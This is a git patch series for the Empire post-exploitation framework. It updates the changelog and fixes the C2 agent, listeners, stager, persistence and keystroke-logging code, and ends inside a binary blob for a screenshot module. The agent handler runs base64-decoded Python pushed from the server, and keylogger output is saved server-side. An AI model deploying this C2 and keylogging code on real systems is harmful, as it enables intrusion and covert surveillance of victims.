From 05e6149a86b4d18ffa1422b221d1b347d7225676 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 29 Oct 2017 23:02:58 -0400 Subject: [PATCH 01/25] Update changelog and version --- changelog | 19 +++++++++++++++++++ lib/common/empire.py | 2 +- 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/changelog b/changelog index be9d61f..cb4f1ac 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,22 @@ +10/29/2017 +------------ +- Version 2.3 Master Release + — Fix for #755 + — Merge PR from byt3bl33d3r for TLS version + — Removed option to set chunk size for file downloads + — Fix for #729 + — Fix renegotiation in powershell agent. Patched python agent to exit on 401 response. + — Fix for #774 + — Added resource scripts capability (Carrie Roberts) + — Fix for #749 + — Fix for #369 + — Added logic to log keystrokes to a file server side + — Merge Invoke-PowerDump fix + — Merge fixes for 718, 750, 762 + — Merge nits execution module + — Updated generate function signatures in all modules + — Fixed stagerURI option (rvrsh3ll) + 10/12/2017 -------- - Version 2.2 Master Release diff --git a/lib/common/empire.py b/lib/common/empire.py index db696bc..db0ef29 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ menu loops. """ # make version for Empire -VERSION = "2.2" +VERSION = "2.3" from pydispatch import dispatcher From 3e775f343374ed979c537a7de1a94cf4dcdf3ea5 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 29 Oct 2017 23:28:35 -0400 Subject: [PATCH 02/25] Updated changelog --- changelog | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/changelog b/changelog index cb4f1ac..d761940 100644 --- a/changelog +++ b/changelog @@ -4,16 +4,16 @@ — Fix for #755 — Merge PR from byt3bl33d3r for TLS version — Removed option to set chunk size for file downloads - — Fix for #729 + — Fix for #729 (Unable to download files with spaces) — Fix renegotiation in powershell agent. Patched python agent to exit on 401 response. - — Fix for #774 + — Fix for #774 (Fix pyinstaller module) — Added resource scripts capability (Carrie Roberts) - — Fix for #749 - — Fix for #369 - — Added logic to log keystrokes to a file server side + — Fix for #749 (Fix external agent modules) + — Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate) — Merge Invoke-PowerDump fix - — Merge fixes for 718, 750, 762 - — Merge nits execution module + — Merge fixes for 718 (Fix generate function signature for module @nikaiw) + — Merge fixes for 762 (Code cleanup from EmPyre @elitest) + — Merge ntds execution module (@hightopfade) — Updated generate function signatures in all modules — Fixed stagerURI option (rvrsh3ll) From 6a90084df8ad7d8f55dce5ed3c15cc3bc3013377 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 1 Nov 2017 13:24:26 -0400 Subject: [PATCH 03/25] Replicate 794 to master --- lib/common/agents.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index d4f7557..8b39b4e 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1534,7 +1534,10 @@ class Agents: pk = (pk + 1) % 65536 cur.execute("INSERT INTO results (id, agent, data) VALUES (?,?,?)",(pk, sessionID, data)) else: - keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0] + try: + keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0] + except Exception as e: + pass cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID]) finally: From 7fe8c33ae89a1961ac7ae7d77a8488bbd9f35fe5 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 1 Nov 2017 20:45:54 -0400 Subject: [PATCH 04/25] Repair jar stager generation logic --- lib/common/stagers.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 18aad49..9e2aa93 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -17,6 +17,7 @@ The Stagers() class in instantiated in ./empire.py by the main menu and includes import fnmatch import imp import helpers +import errno import os import macholib.MachO import shutil @@ -443,7 +444,16 @@ class Stagers: javacode = file.read() file.close() javacode = javacode.replace("LAUNCHER",launcherCode) - file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w') + jarpath = self.mainMenu.installPath+'data/misc/classes/com/installer/apple/' + try: + os.makedirs(jarpath) + except OSError as e: + if e.errno != errno.EEXIST: + raise + else: + pass + + file = open(jarpath+'Run.java','w') file.write(javacode) file.close() currdir = os.getcwd() From 8f3570b390d6f91d940881c8baa11e2b2586081a Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 2 Nov 2017 22:19:07 -0400 Subject: [PATCH 05/25] Added missing import --- lib/listeners/http.py | 1 + lib/listeners/http_com.py | 2 ++ lib/listeners/http_mapi.py | 2 ++ 3 files changed, 5 insertions(+) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 27e846c..4e89df6 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -5,6 +5,7 @@ import os import ssl import time import copy +import sys from pydispatch import dispatcher from flask import Flask, request, make_response # Empire imports diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 4117bf3..fdaa409 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -5,6 +5,7 @@ import os import ssl import time import copy +import sys from pydispatch import dispatcher from flask import Flask, request, make_response @@ -636,6 +637,7 @@ class Listener: certPath = os.path.abspath(certPath) # support any version of tls + pyversion = sys.version_info if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: proto = ssl.PROTOCOL_TLS elif pyversion[0] >= 3: diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py index 41c8e73..222994a 100644 --- a/lib/listeners/http_mapi.py +++ b/lib/listeners/http_mapi.py @@ -5,6 +5,7 @@ import os import ssl import time import copy +import sys from pydispatch import dispatcher from flask import Flask, request, make_response @@ -618,6 +619,7 @@ class Listener: certPath = os.path.abspath(certPath) # support any version of tls + pyversion = sys.version_info if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: proto = ssl.PROTOCOL_TLS elif pyversion[0] >= 3: From 8b6b9ef1c81f7d4709be6ba4bc0ea5c264d999b8 Mon Sep 17 00:00:00 2001 From: Liam Somerville Date: Wed, 8 Nov 2017 10:44:15 -0700 Subject: [PATCH 06/25] Fix flag - listener is required. --- lib/modules/powershell/persistence/userland/registry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/powershell/persistence/userland/registry.py b/lib/modules/powershell/persistence/userland/registry.py index 57042d2..c8362b1 100644 --- a/lib/modules/powershell/persistence/userland/registry.py +++ b/lib/modules/powershell/persistence/userland/registry.py @@ -41,7 +41,7 @@ class Module: }, 'Listener' : { 'Description' : 'Listener to use.', - 'Required' : False, + 'Required' : True, 'Value' : '' }, 'KeyName' : { From edf040e690ab8ecdd947be37f9ffe5030b4b7393 Mon Sep 17 00:00:00 2001 From: Dan McInerney Date: Tue, 14 Nov 2017 14:06:17 -0500 Subject: [PATCH 07/25] Update get_sql_column_sample_data.py When CheckAll is not true the script didn't assign the str variable scriptEnd prior to trying to add to it with +=. --- .../powershell/collection/get_sql_column_sample_data.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py index 3f32243..891381e 100644 --- a/lib/modules/powershell/collection/get_sql_column_sample_data.py +++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py @@ -74,7 +74,8 @@ class Module: instance = self.options['Instance']['Value'] no_defaults = self.options['NoDefaults']['Value'] check_all = self.options['CheckAll']['Value'] - + scriptEnd = "" + # read in the common module source code moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1" script = "" From f021a6af5689d278b27df52c098889f0e953d369 Mon Sep 17 00:00:00 2001 From: root Date: Sun, 26 Nov 2017 12:00:15 +0100 Subject: [PATCH 08/25] minor changes to setup script --- setup/setup_database.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/setup_database.py b/setup/setup_database.py index d7d37af..6bc8b31 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -69,7 +69,7 @@ OBFUSCATE_COMMAND = r'Token\All\1' # ################################################### -conn = sqlite3.connect('../data/empire.db') +conn = sqlite3.connect('%s/data/empire.db'%INSTALL_PATH) c = conn.cursor() From b8cda099ce4856044d8dc4c61dd85400d7314505 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 26 Nov 2017 22:42:01 -0500 Subject: [PATCH 09/25] Fixed pythonscript command in python agent Conflicts: lib/common/empire.py --- data/agent/agent.py | 15 +++++++++++++ lib/common/agents.py | 50 +++++++++++++++++++++++--------------------- lib/common/empire.py | 7 +++++-- 3 files changed, 46 insertions(+), 26 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index e84692f..d7e5a32 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -418,6 +418,21 @@ def process_packet(packetType, data, resultID): # TODO: implement job structure pass + elif packetType == 121: + #base64 decode the script and execute + script = base64.b64decode(data) + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(script, '', 'exec') + exec code_obj in globals() + sys.stdout = sys.__stdout__ + result = str(buffer.getvalue()) + return build_response_packet(121, result, resultID) + except Exception as e: + errorData = str(buffer.getvalue()) + return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + elif packetType == 122: #base64 decode and decompress the data try: diff --git a/lib/common/agents.py b/lib/common/agents.py index 8b39b4e..a0d1a76 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1343,19 +1343,19 @@ class Agents: if autorun and autorun[0] != '' and autorun[1] != '': self.add_agent_task_db(sessionID, autorun[0], autorun[1]) - if self.mainMenu.autoRuns.has_key(language.lower()) and len(self.mainMenu.autoRuns[language.lower()]) > 0: - autorunCmds = ["interact %s" % sessionID] - autorunCmds.extend(self.mainMenu.autoRuns[language.lower()]) - autorunCmds.extend(["lastautoruncmd"]) - self.mainMenu.resourceQueue.extend(autorunCmds) - try: - #this will cause the cmdloop() to start processing the autoruns - self.mainMenu.do_agents("kickit") - except Exception as e: - if e.message == "endautorun": - pass - else: - raise e + if self.mainMenu.autoRuns.has_key(language.lower()) and len(self.mainMenu.autoRuns[language.lower()]) > 0: + autorunCmds = ["interact %s" % sessionID] + autorunCmds.extend(self.mainMenu.autoRuns[language.lower()]) + autorunCmds.extend(["lastautoruncmd"]) + self.mainMenu.resourceQueue.extend(autorunCmds) + try: + #this will cause the cmdloop() to start processing the autoruns + self.mainMenu.do_agents("kickit") + except Exception as e: + if e.message == "endautorun": + pass + else: + raise e return "STAGE2: %s" % (sessionID) @@ -1509,7 +1509,7 @@ class Agents: """ agentSessionID = sessionID - keyLogTaskID = None + keyLogTaskID = None # see if we were passed a name instead of an ID nameid = self.get_agent_id_db(sessionID) @@ -1603,7 +1603,7 @@ class Agents: elif responseName == "TASK_EXIT": # exit command response - data = "[!] Agent %s exiting" % (sessionID) + data = "[!] Agent %s exiting" % (sessionID) # let everyone know this agent exited dispatcher.send(data, sender='Agents') @@ -1724,20 +1724,21 @@ class Agents: elif responseName == "TASK_CMD_JOB": #check if this is the powershell keylogging task, if so, write output to file instead of screen if keyLogTaskID and keyLogTaskID == taskID: - safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath) - savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID) - if not os.path.abspath(savePath).startswith(safePath): + safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath) + savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID) + if not os.path.abspath(savePath).startswith(safePath): dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents') return - with open(savePath,"a+") as f: - new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n") - f.write(new_results) - else: + + with open(savePath,"a+") as f: + new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n") + f.write(new_results) + else: # dynamic script output -> non-blocking self.update_agent_results_db(sessionID, data) - # update the agent log - self.save_agent_log(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) # TODO: redo this regex for really large AD dumps # so a ton of data isn't kept in memory...? @@ -1802,6 +1803,7 @@ class Agents: self.save_agent_log(sessionID, data) elif responseName == "TASK_SCRIPT_COMMAND": + self.update_agent_results_db(sessionID, data) # update the agent log self.save_agent_log(sessionID, data) diff --git a/lib/common/empire.py b/lib/common/empire.py index db0ef29..e6960cc 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -21,6 +21,9 @@ import hashlib import time import fnmatch import shlex +import pkgutil +import importlib +import base64 # Empire imports import helpers @@ -2589,10 +2592,10 @@ class PythonAgentMenu(SubMenu): open_file.close() script = script.replace('\r\n', '\n') script = script.replace('\r', '\n') - + encScript = base64.b64encode(script) msg = "[*] Tasked agent to execute python script: "+filename print helpers.color(msg, color="green") - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", script) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", encScript) #update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, msg) else: From 3558acba42e598762e8a6fd5f6b71d88de7e7b14 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 29 Nov 2017 14:08:12 -0500 Subject: [PATCH 10/25] Swapped native_screenshot module. Now uses python-mss and drops image to disk --- data/agent/agent.py | 9 ++- data/misc/python_modules/mss.zip | Bin 0 -> 13948 bytes lib/common/empire.py | 2 +- .../collection/osx/native_screenshot.py | 62 ++++++++++++------ 4 files changed, 50 insertions(+), 23 deletions(-) create mode 100644 data/misc/python_modules/mss.zip diff --git a/data/agent/agent.py b/data/agent/agent.py index d7e5a32..41c7421 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -449,9 +449,12 @@ def process_packet(packetType, data, resultID): zdata = dec_data['data'] zf = zipfile.ZipFile(io.BytesIO(zdata), "r") - moduleRepo[fileName] = zf - install_hook(fileName) - send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID)) + if fileName in moduleRepo.keys(): + send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID)) + else: + moduleRepo[fileName] = zf + install_hook(fileName) + send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID)) elif packetType == 123: #view loaded modules diff --git a/data/misc/python_modules/mss.zip b/data/misc/python_modules/mss.zip new file mode 100644 index 0000000000000000000000000000000000000000..ec4741d7022fab438d755355ac9b3da7b96ab130 GIT binary patch literal 13948 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 